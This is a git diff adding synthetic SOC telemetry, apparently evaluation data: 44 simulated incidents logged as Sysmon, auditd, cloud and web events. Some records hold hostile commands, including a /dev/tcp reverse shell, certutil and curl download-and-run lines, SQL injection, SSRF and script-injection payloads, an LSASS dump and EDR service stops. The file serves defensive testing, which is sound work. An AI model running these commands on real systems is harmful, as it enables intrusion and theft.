+ "description": "[email protected] on LIN-K8S-NODE01 uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -4436,8 +9140,20 @@
"exfiltrat",
"source code",
"pii",
- "AZURE-VM-FIN-001",
+ "LIN-K8S-NODE01",
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://www.googleapis.com/upload/drive/v3/files",
+ "status_code": 200,
+ "src_host": "LIN-K8S-NODE01",
+ "src_user": "[email protected]",
+ "bytes_out": 4300000000,
+ "file_count": 812
+ }
]
}
]
diff --git a/services/agents/tests/eval_data/synthetic_telemetry.jsonl b/services/agents/tests/eval_data/synthetic_telemetry.jsonl
new file mode 100644
index 000000000..74ba64a51
--- /dev/null
+++ b/services/agents/tests/eval_data/synthetic_telemetry.jsonl
@@ -0,0 +1,361 @@
+{"incident_id": "INC-EVAL-001", "template_id": "phishing-macro-email", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "45.142.122.111", "Subject": "Q4 invoice (action required)", "AttachmentNames": ["invoice_q4.docm"]}
+{"incident_id": "INC-EVAL-001", "template_id": "phishing-macro-email", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-DC-PRIMARY", "User": "[email protected]", "Image": "C:\\Windows\\System32\\cmd.exe", "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"}
+{"incident_id": "INC-EVAL-001", "template_id": "phishing-macro-email", "event_index": 2, "source": "edr", "rule": "Office macro spawned cmd.exe", "severity": "high", "Computer": "WIN-DC-PRIMARY", "User": "[email protected]", "threat_actor": "Lazarus"}
+{"incident_id": "INC-EVAL-002", "template_id": "webapp-sqli-ssrf-exploit", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://LIN-BUILD-CI03/search?q=' OR 1=1--", "status_code": 200, "src_ip": "172.16.50.7", "user_agent": "curl/8.4.0", "rule_match": "WAF:SQLI:1011", "cve": "CVE-2024-1234"}
+{"incident_id": "INC-EVAL-002", "template_id": "webapp-sqli-ssrf-exploit", "event_index": 1, "source": "web_access", "http_method": "GET", "url": "https://LIN-BUILD-CI03/proxy?u=http://169.254.169.254/latest/meta-data/", "status_code": 200, "src_ip": "172.16.50.7", "user_agent": "curl/8.4.0", "rule_match": "WAF:SSRF:2007"}
+{"incident_id": "INC-EVAL-003", "template_id": "confluence-watering-hole", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://confluence.aisoc.dev/pages/editpage.action?pageId=8472", "status_code": 200, "src_ip": "203.0.113.45", "user_agent": "Mozilla/5.0", "payload_excerpt": "<script src=//203.0.113.45/x.js></script>"}
+{"incident_id": "INC-EVAL-003", "template_id": "confluence-watering-hole", "event_index": 1, "source": "edr", "rule": "Browser exploitation: drive-by JavaScript loader", "severity": "high", "Computer": "WIN-HR-DESKTOP", "User": "[email protected]", "threat_actor": "Lazarus"}
+{"incident_id": "INC-EVAL-004", "template_id": "npm-supply-chain", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/node", "a0": "node", "a1": "/tmp/node_modules/event-stream/postinstall.js", "hostname": "WIN-DC-PRIMARY", "user": "ci-runner"}
+{"incident_id": "INC-EVAL-004", "template_id": "npm-supply-chain", "event_index": 1, "source": "github_audit", "action": "workflow_run.completed", "workflow": "ci.yml", "actor": "dependabot[bot]", "repository": "aisoc/web", "conclusion": "success", "package_added": "[email protected]"}
+{"incident_id": "INC-EVAL-004", "template_id": "npm-supply-chain", "event_index": 2, "source": "edr", "rule": "npm post-install reverse shell", "severity": "high", "Computer": "WIN-DC-PRIMARY", "User": "ci-runner", "dest_ip": "198.51.100.23", "dest_port": 4444}
+{"incident_id": "INC-EVAL-005", "template_id": "usb-autorun-airgap", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 6416, "Computer": "WIN-DEVOPS-LT", "SubjectUserName": "[email protected]", "ClassName": "USB", "DeviceDescription": "SanDisk Cruzer 16GB"}
+{"incident_id": "INC-EVAL-005", "template_id": "usb-autorun-airgap", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-DEVOPS-LT", "User": "[email protected]", "Image": "C:\\Python311\\python.exe", "ParentImage": "C:\\Windows\\System32\\rundll32.exe", "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"}
+{"incident_id": "INC-EVAL-006", "template_id": "oauth-consent-phish", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Consent to application.", "UserId": "[email protected]", "ApplicationId": "00000003-0000-0ff1-ce00-000000000000", "ConsentedScopes": ["Mail.Read", "Files.Read.All", "offline_access"]}
+{"incident_id": "INC-EVAL-006", "template_id": "oauth-consent-phish", "event_index": 1, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Auto-fwd", "ForwardTo": "[email protected]", "DeleteMessage": true}}
+{"incident_id": "INC-EVAL-007", "template_id": "powershell-obfuscated-dropper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-OBS-LOGGER", "User": "[email protected]", "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "ParentImage": "C:\\Windows\\explorer.exe", "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."}
+{"incident_id": "INC-EVAL-007", "template_id": "powershell-obfuscated-dropper", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4104, "Computer": "LIN-OBS-LOGGER", "User": "[email protected]", "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)", "threat_actor": "MagicWeb"}
+{"incident_id": "INC-EVAL-008", "template_id": "certutil-download-cradle", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "AWS-EC2-PROD-API", "Image": "C:\\Windows\\System32\\certutil.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "certutil -urlcache -split -f http://172.16.50.7/p.exe %TEMP%\\p.exe"}
+{"incident_id": "INC-EVAL-008", "template_id": "certutil-download-cradle", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "AWS-EC2-PROD-API", "Image": "C:\\Windows\\System32\\certutil.exe", "DestinationIp": "172.16.50.7", "DestinationPort": 80, "Protocol": "tcp"}
+{"incident_id": "INC-EVAL-009", "template_id": "docker-runtime-abuse", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "http://LIN-EDGE-VPN02:2375/containers/create", "status_code": 201, "src_ip": "198.51.100.23", "request_body": {"Image": "monero/xmrig", "HostConfig": {"Privileged": true}}}
+{"incident_id": "INC-EVAL-009", "template_id": "docker-runtime-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/docker", "a0": "docker", "a1": "run", "a2": "--privileged", "hostname": "LIN-EDGE-VPN02", "user": "root"}
+{"incident_id": "INC-EVAL-010", "template_id": "wmi-event-subscription", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 19, "Computer": "AZURE-VM-FIN-001", "User": "[email protected]", "EventNamespace": "ROOT\\Subscription", "Name": "UpdaterFilter", "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"}
+{"incident_id": "INC-EVAL-010", "template_id": "wmi-event-subscription", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 21, "Computer": "AZURE-VM-FIN-001", "Operation": "Created", "Name": "UpdaterConsumer", "Type": "CommandLineEventConsumer", "Destination": "powershell.exe -enc <encoded>"}
+{"incident_id": "INC-EVAL-011", "template_id": "registry-run-persistence", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "AWS-EC2-PROD-API", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater", "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"}
+{"incident_id": "INC-EVAL-011", "template_id": "registry-run-persistence", "event_index": 1, "source": "edr", "rule": "Persistence: Registry Run with revoked-cert signed binary", "severity": "high", "Computer": "AWS-EC2-PROD-API", "User": "[email protected]", "threat_actor": "Volt Typhoon"}
+{"incident_id": "INC-EVAL-012", "template_id": "scheduled-task-persistence", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4698, "Computer": "GCP-GKE-NODE-04", "SubjectUserName": "[email protected]", "TaskName": "\\Microsoft\\Windows\\UpdaterTask", "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"}
+{"incident_id": "INC-EVAL-012", "template_id": "scheduled-task-persistence", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\schtasks.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-013", "template_id": "uefi-firmware-implant", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4673, "Computer": "WIN-FIN-DB01", "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi", "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"}
+{"incident_id": "INC-EVAL-013", "template_id": "uefi-firmware-implant", "event_index": 1, "source": "edr", "rule": "UEFI implant: MosaicRegressor signature match", "severity": "critical", "Computer": "WIN-FIN-DB01", "indicator_path": "ESP:/EFI/Boot/bootx64.efi"}
+{"incident_id": "INC-EVAL-014", "template_id": "cron-backdoor", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "openat", "exe": "/usr/bin/vi", "path": "/etc/cron.d/zz-update", "hostname": "WIN-HR-DESKTOP", "user": "[email protected]", "a2": "O_WRONLY|O_CREAT"}
+{"incident_id": "INC-EVAL-014", "template_id": "cron-backdoor", "event_index": 1, "source": "linux_journald", "_SYSTEMD_UNIT": "cron.service", "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/203.0.113.45/4444 0>&1)", "hostname": "WIN-HR-DESKTOP"}
+{"incident_id": "INC-EVAL-015", "template_id": "uac-bypass-fodhelper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "MAC-LEGAL-LAPTOP", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command", "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"}
+{"incident_id": "INC-EVAL-015", "template_id": "uac-bypass-fodhelper", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "MAC-LEGAL-LAPTOP", "Image": "C:\\Windows\\System32\\fodhelper.exe", "ParentImage": "C:\\Windows\\explorer.exe", "IntegrityLevel": "High", "User": "SYSTEM"}
+{"incident_id": "INC-EVAL-016", "template_id": "k8s-privileged-pod-escape", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "[email protected]"}, "requestObject": {"spec": {"containers": [{"name": "x", "image": "alpine", "securityContext": {"privileged": true}}], "hostPID": true}}, "stage": "ResponseComplete", "responseStatus": {"code": 201}, "node": "K8S-PROD-CLUSTER"}
+{"incident_id": "INC-EVAL-016", "template_id": "k8s-privileged-pod-escape", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "openat", "exe": "/bin/sh", "path": "/host/etc/shadow", "hostname": "K8S-PROD-CLUSTER", "user": "root"}
+{"incident_id": "INC-EVAL-017", "template_id": "linux-suid-abuse", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "chmod", "exe": "/bin/chmod", "a1": "/tmp/.x", "mode": "04755", "hostname": "LIN-DB-REPLICA", "user": "[email protected]"}
+{"incident_id": "INC-EVAL-017", "template_id": "linux-suid-abuse", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/tmp/.x", "hostname": "LIN-DB-REPLICA", "uid": 1001, "euid": 0, "user": "[email protected]"}
+{"incident_id": "INC-EVAL-018", "template_id": "process-hollowing-svchost", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 8, "Computer": "MAC-CFO-LAPTOP", "SourceImage": "C:\\Windows\\System32\\powershell.exe", "TargetImage": "C:\\Windows\\System32\\svchost.exe", "StartFunction": "LoadLibraryW", "NewThreadId": 4716}
+{"incident_id": "INC-EVAL-018", "template_id": "process-hollowing-svchost", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "MAC-CFO-LAPTOP", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "10.0.99.42", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1"}
+{"incident_id": "INC-EVAL-018", "template_id": "process-hollowing-svchost", "event_index": 2, "source": "edr", "rule": "Cobalt Strike beacon (process hollowing)", "severity": "high", "Computer": "MAC-CFO-LAPTOP", "threat_actor": "Scattered Spider"}
+{"incident_id": "INC-EVAL-019", "template_id": "event-log-cleared", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 1102, "Computer": "LIN-EDGE-VPN02", "SubjectUserName": "[email protected]", "Channel": "Security", "Description": "The audit log was cleared."}
+{"incident_id": "INC-EVAL-019", "template_id": "event-log-cleared", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-EDGE-VPN02", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wevtutil.exe", "CommandLine": "wevtutil cl Security"}
+{"incident_id": "INC-EVAL-020", "template_id": "disable-edr-tooling", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "GCP-GKE-NODE-04", "User": "[email protected]", "Image": "C:\\Windows\\System32\\sc.exe", "CommandLine": "sc.exe stop CSAgent"}
+{"incident_id": "INC-EVAL-020", "template_id": "disable-edr-tooling", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "GCP-GKE-NODE-04", "User": "[email protected]", "Image": "C:\\Windows\\System32\\sc.exe", "CommandLine": "sc.exe stop WinDefend"}
+{"incident_id": "INC-EVAL-020", "template_id": "disable-edr-tooling", "event_index": 2, "source": "edr", "rule": "EDR tampering attempt", "severity": "critical", "Computer": "GCP-GKE-NODE-04", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-021", "template_id": "lsass-memory-dump", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 10, "Computer": "AZURE-VM-FIN-001", "SourceImage": "C:\\Windows\\System32\\rundll32.exe", "TargetImage": "C:\\Windows\\System32\\lsass.exe", "GrantedAccess": "0x1010", "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-021", "template_id": "lsass-memory-dump", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "AZURE-VM-FIN-001", "Image": "C:\\Windows\\System32\\rundll32.exe", "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-022", "template_id": "credential-spray", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "45.142.122.111", "resultType": 50126, "resultDescription": "Invalid username or password", "appDisplayName": "Office 365 Exchange Online", "attempt_count": 1500}
+{"incident_id": "INC-EVAL-022", "template_id": "credential-spray", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "45.142.122.111", "resultType": 0, "resultDescription": "Success", "conditionalAccessStatus": "success", "riskLevelAggregated": "high"}
+{"incident_id": "INC-EVAL-023", "template_id": "kerberoasting", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "MSSQLSvc/sql.aisoc.dev", "TicketEncryptionType": "0x17", "IpAddress": "MAC-CFO-LAPTOP"}
+{"incident_id": "INC-EVAL-023", "template_id": "kerberoasting", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "HTTP/web01.aisoc.dev", "TicketEncryptionType": "0x17", "IpAddress": "MAC-CFO-LAPTOP"}
+{"incident_id": "INC-EVAL-024", "template_id": "ad-dcsync", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4662, "Computer": "WIN-DC-PRIMARY", "SubjectUserName": "[email protected]", "ObjectServer": "DS", "ObjectType": "domainDNS", "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "ClientIP": "AWS-EC2-PROD-API"}
+{"incident_id": "INC-EVAL-025", "template_id": "saml-golden-ticket", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "198.51.100.23", "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Federated", "succeeded": true}], "tokenIssuerType": "ADFederationServices", "tokenIssuerName": "forged-adfs.aisoc.dev"}
+{"incident_id": "INC-EVAL-025", "template_id": "saml-golden-ticket", "event_index": 1, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Add member to role.", "UserId": "[email protected]", "ModifiedProperties": [{"Name": "Role.DisplayName", "NewValue": "Global Administrator"}]}
+{"incident_id": "INC-EVAL-026", "template_id": "ldap-bloodhound-discovery", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "LIN-K8S-NODE01", "Image": "C:\\Tools\\SharpHound.exe", "DestinationIp": "WIN-DC-PRIMARY", "DestinationPort": 389, "User": "[email protected]"}
+{"incident_id": "INC-EVAL-026", "template_id": "ldap-bloodhound-discovery", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4662, "Computer": "WIN-DC-PRIMARY", "SubjectUserName": "[email protected]", "ObjectType": "user", "AccessMask": "0x100", "EventCount": 8400}
+{"incident_id": "INC-EVAL-027", "template_id": "smb-share-enumeration", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "LIN-EDGE-VPN02", "User": "[email protected]", "Image": "C:\\Windows\\System32\\net.exe", "CommandLine": "net.exe view /domain"}
+{"incident_id": "INC-EVAL-027", "template_id": "smb-share-enumeration", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 5145, "Computer": "WIN-FILE-SHARE", "SubjectUserName": "[email protected]", "ShareName": "\\\\*\\*", "IpAddress": "LIN-EDGE-VPN02", "EventCount": 256}
+{"incident_id": "INC-EVAL-028", "template_id": "pass-the-hash-lateral", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "LIN-EDGE-VPN02", "TargetUserName": "[email protected]", "LogonType": 3, "AuthenticationPackageName": "NTLM", "IpAddress": "AZURE-VM-FIN-001", "LogonProcessName": "NtLmSsp"}
+{"incident_id": "INC-EVAL-028", "template_id": "pass-the-hash-lateral", "event_index": 1, "source": "edr", "rule": "Pass-the-hash indicators (NTLM hash reuse)", "severity": "high", "Computer": "LIN-EDGE-VPN02", "Source": "AZURE-VM-FIN-001", "User": "[email protected]", "threat_actor": "APT28"}
+{"incident_id": "INC-EVAL-029", "template_id": "rdp-lateral-movement", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "AZURE-VM-FIN-001", "TargetUserName": "[email protected]", "LogonType": 10, "IpAddress": "LIN-BUILD-CI03", "LogonProcessName": "User32", "EventTimeUTC": "03:14:00Z"}
+{"incident_id": "INC-EVAL-030", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:AWS-EC2-PROD-API process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}
+{"incident_id": "INC-EVAL-031", "template_id": "bulk-pii-download", "event_index": 0, "source": "db_audit", "operation": "SELECT", "user": "[email protected]", "src_host": "LIN-DB-REPLICA", "database": "prod_customers", "table": "customer_records", "rows_returned": 4200000, "bytes": 10700000000}
+{"incident_id": "INC-EVAL-032", "template_id": "clipboard-keylogger", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 24, "Computer": "WIN-DC-SECONDARY", "User": "[email protected]", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "Hashes": "SHA256=abc..."}
+{"incident_id": "INC-EVAL-032", "template_id": "clipboard-keylogger", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-DC-SECONDARY", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-033", "template_id": "dns-tunnel-exfil", "event_index": 0, "source": "dns", "query_name": "aGVsbG8gd29ybGQK.exfil.172.16.50.7.in-addr.arpa", "query_type": "TXT", "src_host": "MAC-LEGAL-LAPTOP", "dst_ip": "172.16.50.7", "response_size": 512, "qps": 240}
+{"incident_id": "INC-EVAL-034", "template_id": "s3-exfil-cloud-storage", "event_index": 0, "source": "cloudtrail", "eventName": "PutObject", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "sourceIPAddress": "WIN-DC-PRIMARY", "requestParameters": {"bucketName": "atk-stage-91.134.231.15", "key": "dump/customers.tar.gz"}, "resources": [{"ARN": "arn:aws:s3:::atk-stage-91.134.231.15/dump/customers.tar.gz"}]}
+{"incident_id": "INC-EVAL-035", "template_id": "personal-drive-exfil", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://www.googleapis.com/upload/drive/v3/files", "status_code": 200, "src_host": "LIN-K8S-NODE01", "src_user": "[email protected]", "bytes_out": 4300000000, "file_count": 812}
+{"incident_id": "INC-EVAL-036", "template_id": "dga-c2", "event_index": 0, "source": "dns", "query_name": "qkz3pl4vnxq2.com", "query_type": "A", "src_host": "MAC-LEGAL-LAPTOP", "rcode": "NXDOMAIN", "qps_above_baseline": 50.0}
+{"incident_id": "INC-EVAL-036", "template_id": "dga-c2", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "MAC-LEGAL-LAPTOP", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "172.16.50.7", "DestinationPort": 443, "Protocol": "tcp", "threat_actor": "Scattered Spider"}
+{"incident_id": "INC-EVAL-037", "template_id": "https-c2-beacon", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "LIN-DB-REPLICA", "DestinationIp": "198.51.100.23", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1", "interval_secs": 60, "jitter_pct": 2}
+{"incident_id": "INC-EVAL-038", "template_id": "ransomware-encryption", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\ProgramData\\enc.exe", "TargetFilename": "C:\\Users\\[email protected]\\Documents\\notes.docx.enc", "User": "[email protected]", "rename_rate_per_min": 4200}
+{"incident_id": "INC-EVAL-038", "template_id": "ransomware-encryption", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\ProgramData\\enc.exe", "TargetFilename": "C:\\Users\\[email protected]\\Desktop\\R3ADM3-LockBit 3.0.txt", "User": "[email protected]"}
+{"incident_id": "INC-EVAL-038", "template_id": "ransomware-encryption", "event_index": 2, "source": "edr", "rule": "Ransomware behaviour: high-rate file rename + ransom note", "severity": "critical", "Computer": "GCP-GKE-NODE-04", "threat_actor": "LockBit 3.0"}
+{"incident_id": "INC-EVAL-039", "template_id": "xmrig-cryptominer", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/tmp/xmrig", "a0": "xmrig", "a1": "-o", "a2": "172.16.50.7:5555", "hostname": "WIN-DC-SECONDARY", "cpu_pct": 95}
+{"incident_id": "INC-EVAL-040", "template_id": "bec-wire-fraud", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "AWS-EC2-PROD-API", "Subject": "URGENT: Wire instructions from CFO", "From": "[email protected]", "ReplyTo": "[email protected]", "threat_actor": "ALPHV/BlackCat"}
+{"incident_id": "INC-EVAL-041", "template_id": "public-s3-bucket-pii", "event_index": 0, "source": "cloudtrail", "eventName": "PutBucketAcl", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "requestParameters": {"bucketName": "aisoc-employees", "AccessControlPolicy": {"Grants": [{"Grantee": "AllUsers", "Permission": "READ"}]}}}
+{"incident_id": "INC-EVAL-041", "template_id": "public-s3-bucket-pii", "event_index": 1, "source": "cloudtrail", "eventName": "ListObjectsV2", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "203.0.113.45", "requestParameters": {"bucketName": "aisoc-employees", "max-keys": 1000}, "userIdentity": {"type": "AnonymousUser"}}
+{"incident_id": "INC-EVAL-042", "template_id": "azure-ad-impossible-travel", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "45.142.122.111", "location": {"city": "Vladivostok", "countryOrRegion": "RU"}, "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Previously satisfied", "succeeded": true}], "riskEventTypes": ["unfamiliarFeatures", "unlikelyTravel"], "riskLevelAggregated": "high"}
+{"incident_id": "INC-EVAL-043", "template_id": "ddos-syn-flood", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://WIN-DEVOPS-LT/", "status_code": 503, "pps": 1120000, "packet_type": "TCP-SYN", "edge_mitigation": "engaged", "duration_secs": 720}
+{"incident_id": "INC-EVAL-044", "template_id": "insider-mailbox-export", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-MailboxExportRequest", "UserId": "[email protected]", "Parameters": {"Mailbox": "[email protected]", "FilePath": "\\\\AZURE-VM-FIN-001\\export\\[email protected]"}, "Bytes": 8300000000}
